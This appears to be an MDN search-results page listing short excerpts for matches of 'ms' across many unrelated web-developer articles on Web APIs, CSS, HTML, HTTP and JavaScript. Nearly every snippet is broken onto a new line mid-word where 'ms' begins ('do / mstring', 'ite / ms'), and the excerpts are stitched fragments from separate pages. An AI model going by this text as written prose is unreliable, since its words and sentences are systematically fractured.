ms.
...And 2 more matches
PerformanceEntry.entryType - Web APIs
the entrytype property returns a do
mstring representing the type of performance metric such as, for example, "mark".
... mark performancemark do
mstring the name used when the mark was created by calling performance.mark().
... measure performancemeasure do
mstring name used when the measure was created by calling performance.measure().
...And 2 more matches
RTCIceCandidatePairStats - Web APIs
in addition, it adds the following new properties: availableincomingbitrate optional provides an informative value representing the available inbound capacity of the network by reporting the total number of bits per second available for all of the candidate pair's incoming rtp strea
ms.
... availableoutgoingbitrate optional provides an informative value representing the available outbound capacity of the network by reporting the total number of bits per second available for all of the candidate pair's outoing rtp strea
ms.
... transportid optional a do
mstring that uniquely identifies the rtcicetransport that was inspected to obtain the transport-related statistics (as found in rtctransportstats) used in generating this object.
...And 2 more matches
SVGCircleElement - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsvgcircleelementchrome full support 1edge full support 12firefox full support 1.5ie full support 9opera full support 8safari full support ...
... 3.1webview android full support 3chrome android full support 18firefox android full support 4opera android full support yessafari ios full support 3.1sa
msung internet android full support 1.0cxchrome full support yesedge full support 12firefox full support yesie ?
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yescychrome full support yesedge full support 12firefox full support yesie ?
...And 2 more matches
SVGLength - Web APIs
interface overview also implement none methods void newvaluespecifiedunits(in unsigned short unittype, in float valueinspecifiedunits) void converttospecifiedunits(in unsigned short unittype) properties readonly unsigned short unittype float value float valueinspecifiedunits do
mstring valueasstring constants svg_lengthtype_unknown = 0 svg_lengthtype_number = 1 svg_lengthtype_percentage = 2 svg_lengthtype_e
ms = 3 svg_lengthtype_exs = 4 svg_lengthtype_px = 5 svg_lengthtype_cm = 6 svg_lengthtype_mm = 7 svg_lengthtype_in = 8 svg_lengthtype_pt = 9 svg_lengthtype_pc = 10 normativ...
... svg_lengthtype_e
ms 3 a value was specified using the em units defined in css2.
... valueasstring do
mstring the value as a string value, in the units expressed by unittype.
...And 2 more matches
SharedWorker() - Web APIs
syntax var myworker = new sharedworker(aurl, name); var myworker = new sharedworker(aurl, options); parameters aurl a do
mstring representing the url of the script the worker will execute.
... name optional a do
mstring specifying an identifying name for the sharedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes.
...available properties are as follows: type: a do
mstring specifying the type of worker to create.
...And 2 more matches
SubtleCrypto.decrypt() - Web APIs
to use rsa-oaep, pass an rsaoaeppara
ms object.
... to use aes-ctr, pass an aesctrpara
ms object.
... to use aes-cbc, pass an aescbcpara
ms object.
...And 2 more matches
SubtleCrypto - Web APIs
subtlecrypto.generatekey() returns a promise that fulfills with a newly-generated cryptokey, for symmetrical algorith
ms, or a cryptokeypair, containing two newly generated keys, for asymmetrical algorith
ms.
...you can import keys from other syste
ms, and support for standard formats like pkcs #8 and json web key helps you do this.
... supported algorith
ms the cryptographic functions provided by the web crypto api can be performed by one or more different cryptographic algorith
ms: the algorithm argument to the function indicates which algorithm to use.
...And 2 more matches
TrackDefault.TrackDefault() - Web APIs
syntax var trackdefault = new trackdefault(type, language, label, kinds, bytestreamtrackid); parameters type a do
mstring specifying a media segment data type for the sourcebuffer to contain.
... language a do
mstring specifying a default language for the sourcebuffer to use when an initialization segment does not contain language information for a new track.
... label a do
mstring specifying a default label for the sourcebuffer to use when an initialization segment does not contain label information for a new track.
...And 2 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
pc.ontrack = ({track, strea
ms}) => { track.onunmute = () => { if (remotevideo.srcobject) { return; } remotevideo.srcobject = strea
ms[0]; }; }; when the track event occurs, this handler executes.
... using destructuring, the rtctrackevent's track and strea
ms properties are extracted.
...the latter is an array of mediastream objects, each representing a stream containing this track (a track may in rare cases belong to multiple strea
ms at once).
...And 2 more matches
Using DTMF with WebRTC - Web APIs
webrtc currently ignores these payloads; this is because webrtc's dtmf support is primarily intended for use with legacy telephone services that rely on dtmf tones to perform tasks such as: teleconferencing syste
ms menu syste
ms voicemail syste
ms entry of credit card or other payment information passcode entry note: while the dtmf is not sent to the remote peer as audio, browsers may choose to play the corresponding tone to the local user as part of their user experience, since users are typically used to hearing their phone play the tones audibly.
...disconnecting."); callerpc.getlocalstrea
ms().foreach(function(stream) { stream.gettracks().foreach(function(track) { track.stop(); }); }); receiverpc.getlocalstrea
ms().foreach(function(stream) { stream.gettracks().foreach(function(track) { track.stop(); }); }); audio.pause(); audio.srcobject = null; receiverpc.close(); callerpc.close(); } } the tonechange event is us...
... our call to insertdtmf() specifies not only the dtmf to send (dialstring), but also the length of each tone in milliseconds (400
ms) and the amount of time between tones (50
ms).
...And 2 more matches
Writing WebSocket client applications - Web APIs
for example, a chat program can interact with a server using a protocol implemented using packets of json-encapsulated data: // send text to all users through the server function sendtext() { // construct a
msg object containing the data the server needs to process the message from the chat client.
... var
msg = { type: "message", text: document.getelementbyid("text").value, id: clientid, date: date.now() }; // send the
msg object as a json-formatted string.
... examplesocket.send(json.stringify(
msg)); // blank the text input element, ready to receive the next line of text from the user.
...And 2 more matches
Writing WebSocket servers - Web APIs
warning: the server may listen on any port it chooses, but if it chooses any port other than 80 or 443, it may have proble
ms with firewalls and/or proxies.
...in the handshake, details of the connection are negotiated, and either party can back out before completion if the ter
ms are unfavorable.
...fin and opcode details are shown only for the client: client: fin=1, opcode=0x1,
msg="hello" server: (process complete message immediately) hi.
...And 2 more matches
Using IIR filters - Web APIs
this enters the real
ms of signal processing theory — don't worry if you look at it and feel like it's not for you.
...both of these parameters are arrays, neither of which can be larger than 20 ite
ms.
... // arrays for our frequency response const totalarrayite
ms = 30; let myfrequencyarray = new float32array(totalarrayite
ms); let magresponseoutput = new float32array(totalarrayite
ms); let phaseresponseoutput = new float32array(totalarrayite
ms); let's fill our first array with frequency values we want data to be returned on: myfrequencyarray = myfrequencyarray.map(function(item, index) { return math.pow(1.4, index); }); we could go for a linear app...
...And 2 more matches
Using Web Workers - Web APIs
but you can use a large number of ite
ms available under window, including websockets, and data storage mechanis
ms like indexeddb.
... however, since web workers have carefully controlled communication points with other threads, it's actually very hard to cause concurrency proble
ms.
...so you have to work really hard to cause proble
ms in your code.
...And 2 more matches
Accessibility: What users can do to browse more safely - Accessibility
this article discusses making web content accessible for those with vestibular disorders, and those who support them, by taking advantage of personalization and accessibility settings built into the operating syste
ms.
...they can be addressed by the design and speed of the display and computer" hardware and operating syste
ms on many computers offer control that is not afforded to developers.
... the user can do much to protect hi
mself by learning his operating system, its personalization and accessibility settings.
...And 2 more matches
Architecture - Accessibility
they are kept in iaccessible2 for backward compatibility with
msaa clients that expect text in leaf nodes.
...this is done for backward compatibility with older
msaa clients which didn't have access to a text interface.
...the new system makes it easier to show caret positions etc., which will be an improvement in ia2 over
msaa.
...And 2 more matches
Perceivable - Accessibility
this article provides practical advice on how to write your web content so that it confor
ms to the success criteria outlined in the perceivable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
... guideline 1.1 — providing text alternatives for non-text content the key here is that text can be converted to other for
ms that people with disabilities can use.
...see other text alternative mechanis
ms for the argument against longdesc.
...And 2 more matches
@supports - CSS: Cascading Style Sheets
the following example returns true if the browser's transform-origin property considers 5% 5% valid: @supports (transform-origin: 5% 5%) {} function syntax the second basic supports condition is a supports function, the syntax for these is supported by all browsers, but the functions the
mselves are still being standardized.
...ting for the support of a given css property @supports (animation-name: test) { … /* css applied when animations are supported without a prefix */ @keyframes { /* other at-rules can be nested inside */ … } } testing for the support of a given css property or a prefixed version @supports ((perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or (-
ms-perspective: 10px) or (-o-perspective: 10px)) { … /* css applied when 3d transfor
ms, prefixed or not, are supported */ } testing for the non-support of a specific css property @supports not ((text-align-last: justify) or (-moz-text-align-last: justify)) { … /* css to provide fallback alternative for text-align-last: justify */ } testing for the support of custom properties @supports ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internet@supportschrome full support 28edge full support 12firefox full support 22 full support 22 no support 17 — 22disabled disabled from version 17 until version 22 (exclusive): this fe...
...And 2 more matches
Block and inline layout in normal flow - CSS: Cascading Style Sheets
the boxes may be aligned vertically in different ways: their botto
ms or tops may be aligned, or the baselines of text within them may be aligned.
... the flex ite
ms however are participating in a flex formatting context, because their parent is the element with display: flex, which has an inner display type of flex, establishing the flex formatting context for the direct children.
...the flex ite
ms in the previous example become flex level boxes, so their outer display type is dictated by way of them being part of the flex formatting context.
...And 2 more matches
Basic concepts of Logical Properties and Values - CSS: Cascading Style Sheets
therefore we describe boxes as having a width and height, position ite
ms from the top and left, float things left, assign borders, margin, and padding to the top, right, bottom, left, etc.
...i have a layout using css grid, the grid container has a width applied and i am using the align-self and justify-self properties to align the ite
ms.
...as we saw above, newer css layout methods such as flexbox and grid layout use the concepts of block and inline rather than right and left/top and bottom when aligning ite
ms.
...And 2 more matches
Grid wrapper - CSS: Cascading Style Sheets
the grid wrapper pattern is useful for aligning grid content within a central wrapper, while also allowing ite
ms to break out and align to the edge of the containing element or page when desired.
... requirements ite
ms placed on the grid should be able to align to a horizontally-centered max-width wrapper and/or the outer edges of the grid.
...using a numeric unit (pixels, e
ms, re
ms) will create a fixed maximum size for the central wrapper, whereas using percentage values or viewport units will mean this wrapper grows or shrinks in response to its context.
...And 2 more matches
List group with badges - CSS: Cascading Style Sheets
requirements our list ite
ms should be displayed with the badges lined up on the right, no matter how much content the item has.
...this places any extra space between the ite
ms.
... in the live example, if you remove this property and you will see the badge move to the end of the text on ite
ms with text shorter than the one line.
...And 2 more matches
Pagination - CSS: Cascading Style Sheets
requirements the pagination pattern typically displays ite
ms in a row.
... to ensure that the pagination is understandable by people using a screenreader, we mark the ite
ms up as a list inside a <nav> element, and then use css to display the layout visually as a row.
... the list itself also becomes a flex container to lay the ite
ms out as a row.
...And 2 more matches
CSS reference - CSS: Cascading Style Sheets
--webkit-line-clampa:activeadditive-symbols (@counter-style)::after (:after)align-contentalign-ite
msalign-selfall<an-plus-b><angle><angle-percentage>animationanimation-delayanimation-directionanimation-durationanimation-fill-modeanimation-iteration-countanimation-nameanimation-play-stateanimation-timing-function@annotationannotation()attr()b::backdropbackdrop-filterbackface-visibilitybackgroundbackground-attachmentbackground-blend-modebackground-clipbackground-colorbackground-imagebackground-ori...
...gs (@font-face)font-weightfont-weight (@font-face)format()fr<frequency><frequency-percentage>:fullscreenggapgrad<gradient>grayscale()gridgrid-areagrid-auto-columnsgrid-auto-flowgrid-auto-rowsgrid-columngrid-column-endgrid-column-startgrid-rowgrid-row-endgrid-row-startgrid-templategrid-template-areasgrid-template-columnsgrid-template-rowshhzhanging-punctuationheightheight (@viewport)@historical-for
ms:hoverhsl()hsla()hue-rotate()hyphensi<ident><image>image()image-orientationimage-renderingimage-set()@importin:in-range:indeterminateinheritinitialinline-sizeinsetinset()inset-blockinset-block-endinset-block-startinset-inlineinset-inline-endinset-inline-start<integer>:invalidinvert()isolationjjustify-contentjustify-ite
msjustify-selfkkhz@keyframesl:lang:last-child:last-of-typeleader():leftleft@left...
...r-sourcemask-border-widthmask-clipmask-compositemask-imagemask-modemask-originmask-positionmask-repeatmask-sizemask-typematrix()matrix3d()max()max-block-sizemax-heightmax-height (@viewport)max-inline-sizemax-widthmax-width (@viewport)max-zoom (@viewport)@mediamin()min-block-sizemin-heightmin-height (@viewport)min-inline-sizemin-widthmin-width (@viewport)min-zoom (@viewport)minmax()mix-blend-modemm
msn@namespacenegative (@counter-style):not:nth-child:nth-last-child:nth-last-of-type:nth-of-type<number>oobject-fitobject-positionoffsetoffset-anchoroffset-distanceoffset-pathoffset-rotate:only-child:only-of-typeopacityopacity():optionalorderorientation (@viewport)@ornamentsornaments()orphans:out-of-rangeoutlineoutline-coloroutline-offsetoutline-styleoutline-widthoverflowoverflow-anchoroverflow-bloc...
...And 2 more matches
WebKit CSS extensions - CSS: Cascading Style Sheets
a -webkit-align-content -webkit-align-ite
ms -webkit-align-self -webkit-animation -webkit-animation-delay -webkit-animation-direction -webkit-animation-duration -webkit-animation-fill-mode -webkit-animation-iteration-count -webkit-animation-name -webkit-animation-play-state -webkit-animation-timing-function b -webkit-backface-visibility -webkit-background-clip -webkit-background-origin -webkit-background-size -webkit-bord...
...t-grid-auto-rows -webkit-grid-column -webkit-grid-column-end -webkit-grid-column-gap -webkit-grid-column-start -webkit-grid-gap -webkit-grid-row -webkit-grid-row-end -webkit-grid-row-gap -webkit-grid-row-start -webkit-grid-template -webkit-grid-template-areas -webkit-grid-template-columns -webkit-grid-template-rows h-l -webkit-hyphens -webkit-justify-content -webkit-justify-ite
ms -webkit-justify-self -webkit-line-break m -webkit-mask -webkit-mask-clip -webkit-mask-composite -webkit-mask-image -webkit-mask-origin -webkit-mask-position -webkit-mask-repeat -webkit-mask-size o-r -webkit-opacity -webkit-order -webkit-perspective -webkit-perspective-origin -webkit-ruby-position s -webkit-scroll-snap-type -webkit-shape-image-threshold -webkit-shape-...
... note: due to the legacy code in a multitude of web sites that used -webkit- prefixed properties, edge and firefox redirect many -webkit- prefixed properties to -moz-, -
ms-, and unprefixed equivalents.
...And 2 more matches
animation-delay - CSS: Cascading Style Sheets
syntax /* single animation */ animation-delay: 3s; animation-delay: 0s; animation-delay: -1500
ms; /* multiple animations */ animation-delay: 2.1s, 480
ms; values <time> the time offset, from the moment at which the animation is applied to the element, at which the animation should begin.
... this may be specified in either seconds (s) or milliseconds (
ms).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetanimation-delaychrome full support 43 full support 43 full support 3prefixed prefixed implemented with the vendor prefix: -webkit-edge full support 12firefox full support ...
...And 2 more matches
image-rendering - CSS: Cascading Style Sheets
in particular, scaling algorith
ms that "smooth" colors are acceptable, such as bilinear interpolation.
...suitable algorith
ms include nearest-neighbor and other non-smoothing scaling algorith
ms such as 2×sai and hqx-family algorith
ms.
... note: the values optimizequality and optimizespeed present in an early draft (and coming from its svg counterpart image-rendering) are defined as synony
ms for the smooth and pixelated values respectively.
...And 2 more matches
<length> - CSS: Cascading Style Sheets
note: although <percentage> values are also css dimensions, and are usable in some of the same properties that accept <length> values, they are not the
mselves <length> values.
... units relative length units relative lengths represent a measurement in ter
ms of some other distance.
... font-relative lengths font-relative lengths define the <length> value in ter
ms of the size of a particular character or font attribute in the font currently in effect in an element or its parent.
...And 2 more matches
pointer-events - CSS: Cascading Style Sheets
the pointer-events css property sets under what circu
mstances (if any) a particular graphic element can become the target of pointer events.
...in these circu
mstances, pointer events will trigger event listeners on this parent element as appropriate on their way to/from the descendant during the event capture/bubble phases.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpointer-eventschrome full support 1edge full support 12firefox full support 1.5ie full support 11opera full support 9safari full support ...
...And 2 more matches
repeat() - CSS: Cascading Style Sheets
max-content represents the largest max-content contribution of the grid ite
ms occupying the grid track.
... min-content represents the largest min-content contribution of the grid ite
ms occupying the grid track.
...as a minimum it represents the largest minimum size (as specified by min-width/min-height) of the grid ite
ms occupying the grid track.
...And 2 more matches
<transform-function> - CSS: Cascading Style Sheets
examples transform function comparison the following example provides a 3d cube created from dom elements and transfor
ms, and a select menu allowing you to choose different transform functions to transform the cube with, so you can compare the effects of the different types.
...the cube's starting state is slightly rotated using transform3d(), to allow you to see the effect of all the transfor
ms.
...,0,0,0,0,1,3,0,0,0,1,0,50,100,0,1.1)</option> </select> </div> </main> css main { width: 400px; height: 200px; padding: 50px; background-image: linear-gradient(135deg, white, cyan, white); } #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-ite
ms: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg...
...And 2 more matches
Cross-browser audio basics - Developer guides
</audio> note: this value is often ignored on mobile platfor
ms, and its use is not recommended unless really necessary.
...</audio> note: this value is often ignored on mobile platfor
ms.
... note: this value is often ignored on mobile platfor
ms.
...And 2 more matches
Rich-Text Editing in Mozilla - Developer guides
once designmode is turned off however (as this now see
ms possible in mozilla 1.5) the events become active again.
...ss="heading" selected>- background -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;base64,r0lgodlhfgawaiqbad04ktrlyzfrjlldzl9vj1dusy14wyodhpwibbsvfy6o7ioxw5qb
ms+wubcztca0ccs4kddqjdtltmrl1o3yitha7opcsd/f4pfvrvdv8pv5xv///////////////////yh5baekab8alaaaaaawabyaaav84ceozgmeakqubmteyzk547qobcfwtm/jgshq4rhmloxfiehqqsawr+z4iayaj0kegtfolizlwre4ocqwrxototaihmcz0tvgmbqkzhayyfewev14eq8iflhnehmfdqkaiskqci2pdc4qbg+oajc0ewadncogo6anqkkoiqa7" /> <img class="intlink" title="print" onclick="printdoc();" src="data:image/png;base64,ivborw0kggoaaaansuheugaaabyaaaawcayaaadet...
...15psj04zc94wdtibr26fxlc2mzrvbccebz2kirfd414tkmlezbvgt33+qcohgha81swysew0r1uzfnylmtpx80pngqq91lwvk2jgvgnfvzg6ycyrat16gftw5kkkfo1eqltfh5q2ett0biwf+aitq4fdbk+imyo1oxvgf03wafjqvbckvdffryetxqiffygazths0zwagd7fg5tnnyntp8/fzvgwjofmgg7gox0sakkgqgdmgkbi0njgmeimpgdk5+wacewed0ywblhguz4hw5oduekrblt7dtgdegxacsiznx8zpmwh7k4rkpjcuhdxcul6mdsmmbxdlwch2+xozsgbnzsncee4euyv4pwcpswypw0uhdybkswu1nyjendreqtkjwn2+zvttc1v
mstb/mvev/weyslasslimcohobjxw+n3ap/sjefnl5gepzmpu4kg7opr1+tofpyuu3becwykcwqcdfmwfkauo90fhkdinbcamvqnymgqueagqwcohbdc1rjv9pild8ibvkz6qyviibqgtjpx4k0xpigezorn1da0cij4vfr0ta3wvbxh/rjdcufv6r2zpgph/e4pxsbcpeatqprjniso203/5s/za171mv8+w1loaaaaaelftksuqmcc"> <img class="intlink" title="undo" onclick="formatdoc('undo');" src="data:image/gif;base64,r0lgodlhfgawaomkadljwlie33morpgjuykl8aezxqpd+7/i19dv3nha7p///...
...And 2 more matches
HTML attribute reference - HTML: Hypertext Markup Language
sandbox <iframe> stops a document loaded in an iframe from using certain features (such as submitting for
ms or opening new windows).
...the following examples are valid ways to mark up a boolean attribute: <div ite
mscope> this is valid html but invalid xml.
... </div> <div ite
mscope=ite
mscope> this is also valid html but invalid xml.
...And 2 more matches
<dl>: The Description List element - HTML: Hypertext Markup Language
the element encloses a list of groups of ter
ms (specified using the <dt> element) and descriptions (provided by <dd> elements).
... </dd> <!-- other ter
ms and descriptions --> </dl> multiple ter
ms, single description <dl> <dt>firefox</dt> <dt>mozilla firefox</dt> <dt>fx</dt> <dd> a free, open source, cross-platform, graphical web browser developed by the mozilla corporation and hundreds of volunteers.
... </dd> <!-- other ter
ms and descriptions --> </dl> single term, multiple descriptions <dl> <dt>firefox</dt> <dd> a free, open source, cross-platform, graphical web browser developed by the mozilla corporation and hundreds of volunteers.
...And 2 more matches
<input type="date"> - HTML: Hypertext Markup Language
among browsers with custom interfaces for selecting dates are chrome and opera, whose data control looks like so: the edge date control looks like: and the firefox date control looks like this: value a do
mstring representing a date in yyyy-mm-dd format, or empty events change and input supported common attributes autocomplete, list, readonly, and step idl attributes list, value, valueasdate, valueasnumber.
... methods select(), stepdown(), stepup() value a do
mstring representing the date entered in the input.
... label { display: flex; align-ite
ms: center; } span::after { padding-left: 5px; } input:invalid + span::after { content: '✖'; } input:valid+span::after { content: '✓'; } important: client-side form validation is no substitute for validating on the server.
...And 2 more matches
<input type="range"> - HTML: Hypertext Markup Language
value a do
mstring containing the string representation of the selected numeric value; use valueasnumber to get the value as a number.
... events change and input supported common attributes autocomplete, list, max, min, and step idl attributes list, value, and valueasnumber methods stepdown() and stepup() validation there is no pattern validation available; however, the following for
ms of automatic validation are performed: if the value is set to something which can't be converted into a valid floating-point number, validation fails because the input is suffering from a bad input.
... value the value attribute contains a do
mstring which contains a string representation of the selected number.
...And 2 more matches
<input type="tel"> - HTML: Hypertext Markup Language
value a do
mstring representing a telephone number, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, and size idl attributes list, selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), setselectionrange() value the <input> element'...
...s value attribute contains a do
mstring that either represents a telephone number or is an empty string ("").
... var selectelem = document.queryselector("select"); var inputele
ms = document.queryselectorall("input"); selectelem.onchange = function() { for(var i = 0; i < inputele
ms.length; i++) { inputele
ms[i].value = ""; } if(selectelem.value === "us") { inputele
ms[2].parentnode.style.display = "inline"; inputele
ms[0].placeholder = "area code"; inputele
ms[0].pattern = "[0-9]{3}"; inputele
ms[1].placeholder = "first part"; inputele
ms[1].pat...
...And 2 more matches
<input type="week"> - HTML: Hypertext Markup Language
value a do
mstring representing a week and year, or empty events change and input supported common attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list.
... methods select(), stepdown(), and stepup() value a do
mstring representing the value of the week/year entered into the input.
... mobile platfor
ms such as android and ios make really good use of such input types, providing specialist ui controls that make it really easy to select values in a touchscreen environment.
...And 2 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
alignobsolete since html5 a do
mstring which specifies how the cell's context should be aligned horizontally within the cells in the row; this is shorthand for using align on every cell in the row individually.
... bgcolorobsolete since html5 a do
mstring specifying a color to apply to the backgrounds of each of the row's cells.
... charobsolete since html5 a do
mstring which sets the character to align the cells in each of the row's columns on (each row's centering that uses the same character gets aligned with others using the same character .
...And 2 more matches
<ul>: The Unordered List element - HTML: Hypertext Markup Language
the html <ul> element represents an unordered list of ite
ms, typically rendered as a bulleted list.
... usage notes the <ul> element is for grouping a collection of ite
ms that do not have a numerical ordering, and their order in the list is meaningless.
... typically, unordered-list ite
ms are displayed with a bullet, which can be of several for
ms, like a dot, a circle, or a square.
...And 2 more matches
itemid - HTML: Hypertext Markup Language
an itemid attribute can only be specified for an element that has both ite
mscope and itemtype attributes.
... also, itemid can only be specified on elements that possess an ite
mscope attribute whose corresponding itemtype refers to or defines a vocabulary that supports global identifiers.
...the vocabulary defines whether several ite
ms with the same global identifier can coexist and, if so, how ite
ms with the same identifier are handled.
...And 2 more matches
HTTP conditional requests - HTTP
by default, unless the etag is prefixed with 'w/', it perfor
ms a strong validation.
...by default, unless the etag is prefixed with 'w/', it perfor
ms a strong validation.
...common web sites, like wikis and other c
ms, have such a need.
...And 2 more matches
Accept-Encoding - HTTP
using content negotiation, the server selects one of the proposals, uses it and infor
ms the client of its choice with the content-encoding response header.
... even if both the client and the server supports the same compression algorith
ms, the server may choose not to compress the body of a response, if the identity value is also acceptable.
...they implement the algorithm used by these two unix progra
ms.
...And 2 more matches
Want-Digest - HTTP
the header contains identifiers for one or more digest algorith
ms that the sender wishes the responder to use to create the digest.
... if want-digest does not include any digest algorith
ms that the server supports, the server may respond with: a digest calculated using a different digest algorithm, or a 400 bad request error, and include another want-digest header with that response, listing the algorith
ms that it does support.
... header type general header forbidden header name no syntax want-digest: <digest-algorithm> // multiple algorith
ms, weighted with the quality value syntax: want-digest: <digest-algorithm><q-value>,<digest-algorithm><q-value> directives <digest-algorithm> supported digest algorith
ms are defined in rfc 3230 and rfc 5843, and include sha-256 and sha-512.
...And 2 more matches
Equality comparisons and sameness - JavaScript
there are four equality algorith
ms in es2015: abstract equality comparison (==) strict equality comparison (===): used by array.prototype.indexof, array.prototype.lastindexof, and case-matching samevaluezero: used by %typedarray% and arraybuffer constructors, as well as map and set operations, and also string.prototype.includes and array.prototype.includes since es2016 samevalue: used in all other places javascript provides three different value-comparison operations: === - strict equality comparison ("strict equality", "identity", "triple equals") == - abstract equality comparison ("loose equality", "double equals") object.is provides samevalue (new in es2015).
...for any non-primitive objects x and y which have the same structure but are distinct objects the
mselves, all of the above for
ms will evaluate to false.
...the second is that floating point includes the concept of a not-a-number value, nan, to represent the solution to certain ill-defined mathematical proble
ms: negative infinity added to positive infinity, for example.
...And 2 more matches
Object.create() - JavaScript
for example, here are two objects: oco = object.create( {} ); // create a normal object ocn = object.create( null ); // create a "null" object > console.log(oco) // {} -- see
ms normal > console.log(ocn) // {} -- see
ms normal here too, so far oco.p = 1; // create a simple property on normal obj ocn.p = 0; // create a simple property on "null" obj > console.log(oco) // {p: 1} -- still see
ms normal > console.log(ocn) // {p: 0} -- still see
ms normal here too.
... as shown above, all see
ms normal so far.
...not a function > oco.valueof() // shows {} > ocn.valueof() // throws error: ocn.valueof is not a function > oco.hasownproperty("p") // shows "true" > ocn.hasownproperty("p") // throws error: ocn.hasownproperty is not a function > oco.constructor // shows "object() { [native code] }" > ocn.constructor // shows "undefined" as said, these differences can make debugging even simple-seeming proble
ms quickly go astray.
...And 2 more matches
String - JavaScript
if you wish to compare without regard to upper or lower case characters, use a function similar to this: function isequal(str1, str2) { return str1.touppercase() === str2.touppercase() } // isequal upper case is used instead of lower case in this function, due to proble
ms with certain utf-8 character conversions.
...it perfor
ms type conversion when called as a function, rather than as a constructor, which is usually more useful.
... string.prototype.trim() tri
ms whitespace from the beginning and end of the string.
...And 2 more matches
WebAssembly.Memory - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsmemorychrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0memory() constructorchrome full support 57edge full support 16firefox full support 52notes full ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0bufferchrome full support 57edge full support 16firefox full support 52notes full support ...
...And 2 more matches
Guide to streaming audio and video - Web media technologies
https live streaming https live streaming (hls) is a protocol developed by apple and supported by safari on all of their platfor
ms.
... hls uses playlists to allow the user to not only select the media to stream, but also to choose among versions or for
ms of the same media.
... for example, hls lets the server stream a video with multiple audio strea
ms which the user can choose from, in order to hear their own language.
...And 2 more matches
Web security
weak signature algorith
ms the strength of the hash algorithm used in signing a digital certificate is a critical element of the security of the certificate.
... this article provides some information about signature algorith
ms known to be weak, so you can avoid them when appropriate.
... clickjacking protection in clickjacking, a user is fooled into clicking on a ui element that perfor
ms some action other than what the user expects.
...And 2 more matches
Understanding WebAssembly text format - WebAssembly
this article explains how that text format works, in ter
ms of the raw syntax, and how it is related to the underlying bytecode it represents — and the wrapper objects representing wasm in javascript.
... there is another issue here — using numeric indices to refer to ite
ms can be confusing and annoying, so the text format allows you to name parameters, locals, and most other ite
ms simply by including a name prefixed by a dollar symbol ($) just before the type declaration.
...although the browser compiles it to something more efficient, wasm execution is defined in ter
ms of a stack machine where the basic idea is that every type of instruction pushes and/or pops a certain number of i32/i64/f32/f64 values to/from a stack.
...And 2 more matches
Private Properties - Archive of obsolete content
a better alternative is to use weakmap objects, which solve both these proble
ms.
...a better approach would be to store thumbnails in their own, separate hash map: let thumbnails = {}; function getthumbnail(image) { let thumbnail = thumbnails[image]; if (!thumbnail) { thumbnail = createthumbnail(image); thumbnails[image] = thumbnail; } return thumbnail; } there are two proble
ms with the above approach.
... the above two proble
ms are exactly what weakmaps were designed to solve.
...o understand how weakmaps are used in practice, the following rewrites the thumbnail cache using a weakmap: let thumbnails = new weakmap(); function getthumbnail(image) { let thumbnail = thumbnails.get(image); if (!thumbnail) { thumbnail = createthumbnail(image); thumbnails.set(image, thumbnail); } return thumbnail; } this version suffers from none of the proble
ms we mentioned earlier.
io/file - Archive of obsolete content
this means that on windows paths are specified using the backslash path separator (\), and on unix-like syste
ms like linux and os x paths are specified using the forward slash path separator (/).
... if your add-on uses literal windows-style path specifications with this api, your add-on likely won't work when users run it on unix-like syste
ms.
...see text-strea
ms for information on these text stream objects.
...see byte-strea
ms for more information on these byte stream objects.
Creating Reusable Modules - Archive of obsolete content
instance(ci.nsilocalfile); f.initwithpath(path); var istream = cc["@mozilla.org/network/file-input-stream;1"] .createinstance(ci.nsifileinputstream); // open for reading istream.init(f, 0x01, 0444, 0); var ch = cc["@mozilla.org/security/hash;1"] .createinstance(ci.nsicryptohash); // we want to use the md5 algorithm ch.init(ch.md5); // this tells updatefro
mstream to read the entire file const pr_uint32_max = 0xffffffff; ch.updatefro
mstream(istream, pr_uint32_max); // pass false here to get binary data back var hash = ch.finish(false); // convert the binary hash data to a hex string.
...instance(ci.nsilocalfile); f.initwithpath(path); var istream = cc["@mozilla.org/network/file-input-stream;1"] .createinstance(ci.nsifileinputstream); // open for reading istream.init(f, 0x01, 0444, 0); var ch = cc["@mozilla.org/security/hash;1"] .createinstance(ci.nsicryptohash); // we want to use the md5 algorithm ch.init(ch.md5); // this tells updatefro
mstream to read the entire file const pr_uint32_max = 0xffffffff; ch.updatefro
mstream(istream, pr_uint32_max); // pass false here to get binary data back var hash = ch.finish(false); // convert the binary hash data to a hex string.
